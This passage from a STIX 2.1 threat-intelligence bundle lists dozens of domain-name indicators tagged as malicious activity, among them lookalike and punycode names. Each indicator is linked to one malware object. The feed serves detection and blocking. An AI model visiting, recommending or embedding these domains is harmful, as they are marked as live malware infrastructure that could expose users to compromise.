"indicator--de7254e2-c751-4530-be0e-24ae8043bcc7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--27ad0bd8-c030-406a-9742-e3f831ae53f9", "created": "2024-01-26T21:28:21.547372Z", "modified": "2024-01-26T21:28:21.547372Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vipmasajes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.547372Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6a2e21da-0e84-4403-a60b-7e05e99a1dd0", "created": "2024-01-26T21:28:21.547765Z", "modified": "2024-01-26T21:28:21.547765Z", "relationship_type": "indicates", "source_ref": "indicator--27ad0bd8-c030-406a-9742-e3f831ae53f9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea2a2275-3cce-4199-a5cb-a94dbc0264e3", "created": "2024-01-26T21:28:21.547863Z", "modified": "2024-01-26T21:28:21.547863Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='welovebigcakes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.547863Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b59cab70-53b5-4d0b-90bf-98e9bd168024", "created": "2024-01-26T21:28:21.548247Z", "modified": "2024-01-26T21:28:21.548247Z", "relationship_type": "indicates", "source_ref": "indicator--ea2a2275-3cce-4199-a5cb-a94dbc0264e3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f135c43-757d-475e-b2da-41db7aa1572f", "created": "2024-01-26T21:28:21.548342Z", "modified": "2024-01-26T21:28:21.548342Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='awizo.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.548342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0cd5f0ed-a1a4-4d3e-81a3-d3d513178740", "created": "2024-01-26T21:28:21.54873Z", "modified": "2024-01-26T21:28:21.54873Z", "relationship_type": "indicates", "source_ref": "indicator--4f135c43-757d-475e-b2da-41db7aa1572f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--61b18bc7-20c6-42e8-bbe0-6bf844b448a7", "created": "2024-01-26T21:28:21.548825Z", "modified": "2024-01-26T21:28:21.548825Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noti-hoy.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.548825Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b6080388-4291-4800-809f-3744276cdb4b", "created": "2024-01-26T21:28:21.549288Z", "modified": "2024-01-26T21:28:21.549288Z", "relationship_type": "indicates", "source_ref": "indicator--61b18bc7-20c6-42e8-bbe0-6bf844b448a7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe8b82f8-2e32-4a9b-a847-c12aa1aab36f", "created": "2024-01-26T21:28:21.54939Z", "modified": "2024-01-26T21:28:21.54939Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='estatearea.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.54939Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9e7175bf-52e2-48c3-b64a-26e8853ec5c5", "created": "2024-01-26T21:28:21.549773Z", "modified": "2024-01-26T21:28:21.549773Z", "relationship_type": "indicates", "source_ref": "indicator--fe8b82f8-2e32-4a9b-a847-c12aa1aab36f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac84b6f6-2ff4-4ffb-a87d-2a8346333719", "created": "2024-01-26T21:28:21.54987Z", "modified": "2024-01-26T21:28:21.54987Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tunnelprotocol.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.54987Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6bee69f1-8000-4237-a1e1-8aa0da65b0c4", "created": "2024-01-26T21:28:21.550254Z", "modified": "2024-01-26T21:28:21.550254Z", "relationship_type": "indicates", "source_ref": "indicator--ac84b6f6-2ff4-4ffb-a87d-2a8346333719", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0444c9b3-4778-4358-93b7-ce0bfdf99941", "created": "2024-01-26T21:28:21.550355Z", "modified": "2024-01-26T21:28:21.550355Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eyesunderspray.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.550355Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--69b15f39-d5df-4c8b-802a-d850153c0e81", "created": "2024-01-26T21:28:21.550738Z", "modified": "2024-01-26T21:28:21.550738Z", "relationship_type": "indicates", "source_ref": "indicator--0444c9b3-4778-4358-93b7-ce0bfdf99941", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b2c2415a-0af6-4797-9916-79c0bbe51b94", "created": "2024-01-26T21:28:21.550834Z", "modified": "2024-01-26T21:28:21.550834Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websiteconnecting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.550834Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--85de33c8-7a78-4827-b6e1-dd3cfce88edf", "created": "2024-01-26T21:28:21.551222Z", "modified": "2024-01-26T21:28:21.551222Z", "relationship_type": "indicates", "source_ref": "indicator--b2c2415a-0af6-4797-9916-79c0bbe51b94", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a3620b09-73ee-4962-ab86-45648d3704ce", "created": "2024-01-26T21:28:21.551318Z", "modified": "2024-01-26T21:28:21.551318Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='classic-furnitures.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.551318Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--48d0447e-5259-4d78-9d7f-128c959ae748", "created": "2024-01-26T21:28:21.55171Z", "modified": "2024-01-26T21:28:21.55171Z", "relationship_type": "indicates", "source_ref": "indicator--a3620b09-73ee-4962-ab86-45648d3704ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c0312fef-32ac-401f-ab6f-ca05f750abbd", "created": "2024-01-26T21:28:21.551806Z", "modified": "2024-01-26T21:28:21.551806Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newandroidapps.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.551806Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4bf6a870-c558-4040-9b97-e5643755491e", "created": "2024-01-26T21:28:21.552191Z", "modified": "2024-01-26T21:28:21.552191Z", "relationship_type": "indicates", "source_ref": "indicator--c0312fef-32ac-401f-ab6f-ca05f750abbd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--037ed46e-9016-46b5-b0b5-e5dbda0706d5", "created": "2024-01-26T21:28:21.552286Z", "modified": "2024-01-26T21:28:21.552286Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dowhatyouneed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.552286Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b4afcc83-8e26-413b-8faa-c8db7f530d66", "created": "2024-01-26T21:28:21.552677Z", "modified": "2024-01-26T21:28:21.552677Z", "relationship_type": "indicates", "source_ref": "indicator--037ed46e-9016-46b5-b0b5-e5dbda0706d5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--853b4731-e29a-449d-8acf-5eb1789dc914", "created": "2024-01-26T21:28:21.552782Z", "modified": "2024-01-26T21:28:21.552782Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gadgetproof.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.552782Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ffcf5b42-aa9e-43cc-9dfb-f6f6c61737f3", "created": "2024-01-26T21:28:21.553168Z", "modified": "2024-01-26T21:28:21.553168Z", "relationship_type": "indicates", "source_ref": "indicator--853b4731-e29a-449d-8acf-5eb1789dc914", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5e041b27-49a4-44e8-a895-99b1534a6504", "created": "2024-01-26T21:28:21.553264Z", "modified": "2024-01-26T21:28:21.553264Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='familyabroad.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.553264Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8e3046a9-ffa9-4b69-a460-2617c486ad44", "created": "2024-01-26T21:28:21.55373Z", "modified": "2024-01-26T21:28:21.55373Z", "relationship_type": "indicates", "source_ref": "indicator--5e041b27-49a4-44e8-a895-99b1534a6504", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6f2456e8-95ba-416c-a378-1353cb16b6c6", "created": "2024-01-26T21:28:21.55383Z", "modified": "2024-01-26T21:28:21.55383Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='research-archive.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.55383Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a618993-a19f-4e6e-8f99-1428f9250ab0", "created": "2024-01-26T21:28:21.554228Z", "modified": "2024-01-26T21:28:21.554228Z", "relationship_type": "indicates", "source_ref": "indicator--6f2456e8-95ba-416c-a378-1353cb16b6c6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--674f5e00-9485-48fb-b9c8-51cf0a1fe149", "created": "2024-01-26T21:28:21.554333Z", "modified": "2024-01-26T21:28:21.554333Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bankportal.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.554333Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66e2226d-89bd-44b2-a0e5-3ca8cba88991", "created": "2024-01-26T21:28:21.554713Z", "modified": "2024-01-26T21:28:21.554713Z", "relationship_type": "indicates", "source_ref": "indicator--674f5e00-9485-48fb-b9c8-51cf0a1fe149", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7007203c-1acf-49c0-bc1b-855735a0a607", "created": "2024-01-26T21:28:21.554809Z", "modified": "2024-01-26T21:28:21.554809Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chubaka.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.554809Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c6c69594-e317-4aeb-b8a5-68fc115583ea", "created": "2024-01-26T21:28:21.555196Z", "modified": "2024-01-26T21:28:21.555196Z", "relationship_type": "indicates", "source_ref": "indicator--7007203c-1acf-49c0-bc1b-855735a0a607", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e24b27aa-082d-453f-b6a5-c1c97dcd8609", "created": "2024-01-26T21:28:21.555296Z", "modified": "2024-01-26T21:28:21.555296Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wonderfulinsights.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.555296Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4ce3509e-2e01-4ad5-9918-fcba7bb31fef", "created": "2024-01-26T21:28:21.555683Z", "modified": "2024-01-26T21:28:21.555683Z", "relationship_type": "indicates", "source_ref": "indicator--e24b27aa-082d-453f-b6a5-c1c97dcd8609", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5447c7cc-8a11-4f30-8392-3f8dcc6be78a", "created": "2024-01-26T21:28:21.555779Z", "modified": "2024-01-26T21:28:21.555779Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hundredsofdesigns.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.555779Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c02d692f-50ef-48f1-9036-6226cbe5ae49", "created": "2024-01-26T21:28:21.556166Z", "modified": "2024-01-26T21:28:21.556166Z", "relationship_type": "indicates", "source_ref": "indicator--5447c7cc-8a11-4f30-8392-3f8dcc6be78a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cc7c504d-cbca-465c-84c3-6aeff64ccd50", "created": "2024-01-26T21:28:21.556265Z", "modified": "2024-01-26T21:28:21.556265Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findmyass.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.556265Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ef09a60e-442d-4447-80ca-202aae7ca0cd", "created": "2024-01-26T21:28:21.55665Z", "modified": "2024-01-26T21:28:21.55665Z", "relationship_type": "indicates", "source_ref": "indicator--cc7c504d-cbca-465c-84c3-6aeff64ccd50", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--68f5f474-4ce4-4dfa-aafe-52977f1c21ad", "created": "2024-01-26T21:28:21.556746Z", "modified": "2024-01-26T21:28:21.556746Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='industry-specialist.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.556746Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9050cef9-0197-4c55-a2d4-4306b71ae5b2", "created": "2024-01-26T21:28:21.557155Z", "modified": "2024-01-26T21:28:21.557155Z", "relationship_type": "indicates", "source_ref": "indicator--68f5f474-4ce4-4dfa-aafe-52977f1c21ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8c48a313-1af6-4a10-a34c-1b024f53a960", "created": "2024-01-26T21:28:21.557251Z", "modified": "2024-01-26T21:28:21.557251Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bottlehere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.557251Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3e9247ed-52c5-4591-8887-678748d08861", "created": "2024-01-26T21:28:21.557634Z", "modified": "2024-01-26T21:28:21.557634Z", "relationship_type": "indicates", "source_ref": "indicator--8c48a313-1af6-4a10-a34c-1b024f53a960", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--03af991f-13e1-4405-908e-68a1d3a50b67", "created": "2024-01-26T21:28:21.557729Z", "modified": "2024-01-26T21:28:21.557729Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findavoucher.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.557729Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--037128a1-cb74-41e0-b4d9-960021317de4", "created": "2024-01-26T21:28:21.558207Z", "modified": "2024-01-26T21:28:21.558207Z", "relationship_type": "indicates", "source_ref": "indicator--03af991f-13e1-4405-908e-68a1d3a50b67", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--52fdc41e-2de8-4c65-8b5c-cf0ddab13db4", "created": "2024-01-26T21:28:21.558309Z", "modified": "2024-01-26T21:28:21.558309Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sergek.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.558309Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b46e3967-5cab-415d-9165-09d590d97acd", "created": "2024-01-26T21:28:21.558692Z", "modified": "2024-01-26T21:28:21.558692Z", "relationship_type": "indicates", "source_ref": "indicator--52fdc41e-2de8-4c65-8b5c-cf0ddab13db4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e282e447-f7cb-4fca-a8ea-7e7268683873", "created": "2024-01-26T21:28:21.558789Z", "modified": "2024-01-26T21:28:21.558789Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobiles-security.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.558789Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e6b5deb1-1fcd-4291-8028-89353ad0cdb5", "created": "2024-01-26T21:28:21.559175Z", "modified": "2024-01-26T21:28:21.559175Z", "relationship_type": "indicates", "source_ref": "indicator--e282e447-f7cb-4fca-a8ea-7e7268683873", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3c3fb264-f787-42d3-91b3-fdfe093f5e2a", "created": "2024-01-26T21:28:21.55927Z", "modified": "2024-01-26T21:28:21.55927Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='telangana-news24.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.55927Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7ad11826-62ce-441a-95d5-ea946f384d4f", "created": "2024-01-26T21:28:21.559658Z", "modified": "2024-01-26T21:28:21.559658Z", "relationship_type": "indicates", "source_ref": "indicator--3c3fb264-f787-42d3-91b3-fdfe093f5e2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--884b5b1c-60bf-48f5-aa64-1e4fe8c31cdc", "created": "2024-01-26T21:28:21.559762Z", "modified": "2024-01-26T21:28:21.559762Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-systems.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.559762Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6e78ec05-ae36-4c7b-8804-ce5ece6d7a19", "created": "2024-01-26T21:28:21.560152Z", "modified": "2024-01-26T21:28:21.560152Z", "relationship_type": "indicates", "source_ref": "indicator--884b5b1c-60bf-48f5-aa64-1e4fe8c31cdc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2593a5f3-1167-4a4c-a45b-7c61cddd059d", "created": "2024-01-26T21:28:21.560249Z", "modified": "2024-01-26T21:28:21.560249Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='scaryaudience.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.560249Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4f76a901-0be0-4cbf-8788-d5ac2d4edf53", "created": "2024-01-26T21:28:21.560634Z", "modified": "2024-01-26T21:28:21.560634Z", "relationship_type": "indicates", "source_ref": "indicator--2593a5f3-1167-4a4c-a45b-7c61cddd059d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--65f3b207-bf8e-4df1-bdec-8efe0cf48f26", "created": "2024-01-26T21:28:21.560729Z", "modified": "2024-01-26T21:28:21.560729Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ok-group.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.560729Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a280f328-62c7-4b46-8bfd-15a65b5ab926", "created": "2024-01-26T21:28:21.561108Z", "modified": "2024-01-26T21:28:21.561108Z", "relationship_type": "indicates", "source_ref": "indicator--65f3b207-bf8e-4df1-bdec-8efe0cf48f26", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b614f015-2879-41c9-8367-7e9bdac05888", "created": "2024-01-26T21:28:21.561202Z", "modified": "2024-01-26T21:28:21.561202Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlregistrar.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.561202Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--93fb35ef-bb80-49b1-bcac-c326aff13e83", "created": "2024-01-26T21:28:21.561584Z", "modified": "2024-01-26T21:28:21.561584Z", "relationship_type": "indicates", "source_ref": "indicator--b614f015-2879-41c9-8367-7e9bdac05888", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--03ed0e85-164b-48a4-8dfa-43c85de5f021", "created": "2024-01-26T21:28:21.561681Z", "modified": "2024-01-26T21:28:21.561681Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bitanalysis.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.561681Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5ed25185-513d-4fd0-b0e4-32b4a87b24a6", "created": "2024-01-26T21:28:21.56207Z", "modified": "2024-01-26T21:28:21.56207Z", "relationship_type": "indicates", "source_ref": "indicator--03ed0e85-164b-48a4-8dfa-43c85de5f021", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ccf3b663-dce3-469c-8b0d-ee87fcec76b8", "created": "2024-01-26T21:28:21.562175Z", "modified": "2024-01-26T21:28:21.562175Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='xn--noki-t5b.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.562175Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c86c934-bddd-41be-b417-1eb368f861aa", "created": "2024-01-26T21:28:21.562648Z", "modified": "2024-01-26T21:28:21.562648Z", "relationship_type": "indicates", "source_ref": "indicator--ccf3b663-dce3-469c-8b0d-ee87fcec76b8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e19ef92f-5f6a-40f1-a411-779b421d77fc", "created": "2024-01-26T21:28:21.562747Z", "modified": "2024-01-26T21:28:21.562747Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='br-travels.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.562747Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c21f3eb6-11fe-43cf-aa69-227ed03790be", "created": "2024-01-26T21:28:21.563127Z", "modified": "2024-01-26T21:28:21.563127Z", "relationship_type": "indicates", "source_ref": "indicator--e19ef92f-5f6a-40f1-a411-779b421d77fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e74fbb09-8ef8-47a6-977e-393de942424b", "created": "2024-01-26T21:28:21.563224Z", "modified": "2024-01-26T21:28:21.563224Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlviaweb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.563224Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c2e42a13-adca-4626-82ef-a5e512164b73", "created": "2024-01-26T21:28:21.563605Z", "modified": "2024-01-26T21:28:21.563605Z", "relationship_type": "indicates", "source_ref": "indicator--e74fbb09-8ef8-47a6-977e-393de942424b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--66d9d711-cf36-4b74-af13-bcbc4a5ec787", "created": "2024-01-26T21:28:21.563702Z", "modified": "2024-01-26T21:28:21.563702Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectingurl.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.563702Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e1e7b636-9f15-4624-8c37-78f4e7a15a9a", "created": "2024-01-26T21:28:21.564113Z", "modified": "2024-01-26T21:28:21.564113Z", "relationship_type": "indicates", "source_ref": "indicator--66d9d711-cf36-4b74-af13-bcbc4a5ec787", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--621e8cbf-7a72-4c56-87bf-254fcb7b91bf", "created": "2024-01-26T21:28:21.564209Z", "modified": "2024-01-26T21:28:21.564209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='egov-online.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.564209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d6c059d5-94dd-4255-97e0-53e45df14e9c", "created": "2024-01-26T21:28:21.564593Z", "modified": "2024-01-26T21:28:21.564593Z", "relationship_type": "indicates", "source_ref": "indicator--621e8cbf-7a72-4c56-87bf-254fcb7b91bf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--87b3edf5-6f60-4dc0-93e8-d83bf5c406bd", "created": "2024-01-26T21:28:21.564692Z", "modified": "2024-01-26T21:28:21.564692Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myfundsdns.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.564692Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--575bc3ff-2ccd-44c5-9551-db734351160f", "created": "2024-01-26T21:28:21.565082Z", "modified": "2024-01-26T21:28:21.565082Z", "relationship_type": "indicates", "source_ref": "indicator--87b3edf5-6f60-4dc0-93e8-d83bf5c406bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e0fb8ae-31a1-485a-bdda-092bcf8bd4a2", "created": "2024-01-26T21:28:21.56519Z", "modified": "2024-01-26T21:28:21.56519Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clients-access.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.56519Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8340202b-c571-4c8a-b903-b47a0bc029da", "created": "2024-01-26T21:28:21.565581Z", "modified": "2024-01-26T21:28:21.565581Z", "relationship_type": "indicates", "source_ref": "indicator--9e0fb8ae-31a1-485a-bdda-092bcf8bd4a2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36923303-291b-434c-9ed3-24ab494ee61c", "created": "2024-01-26T21:28:21.56568Z", "modified": "2024-01-26T21:28:21.56568Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='halal-place.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.56568Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--44a19b7f-067f-48e7-8729-a555757ac0e1", "created": "2024-01-26T21:28:21.566066Z", "modified": "2024-01-26T21:28:21.566066Z", "relationship_type": "indicates", "source_ref": "indicator--36923303-291b-434c-9ed3-24ab494ee61c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d5eb827f-07a2-4946-a349-f59d92182198", "created": "2024-01-26T21:28:21.56617Z", "modified": "2024-01-26T21:28:21.56617Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='funintheuk.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.56617Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d35cf5a1-644c-4de4-b924-7163ace8f735", "created": "2024-01-26T21:28:21.566553Z", "modified": "2024-01-26T21:28:21.566553Z", "relationship_type": "indicates", "source_ref": "indicator--d5eb827f-07a2-4946-a349-f59d92182198", "target_ref": 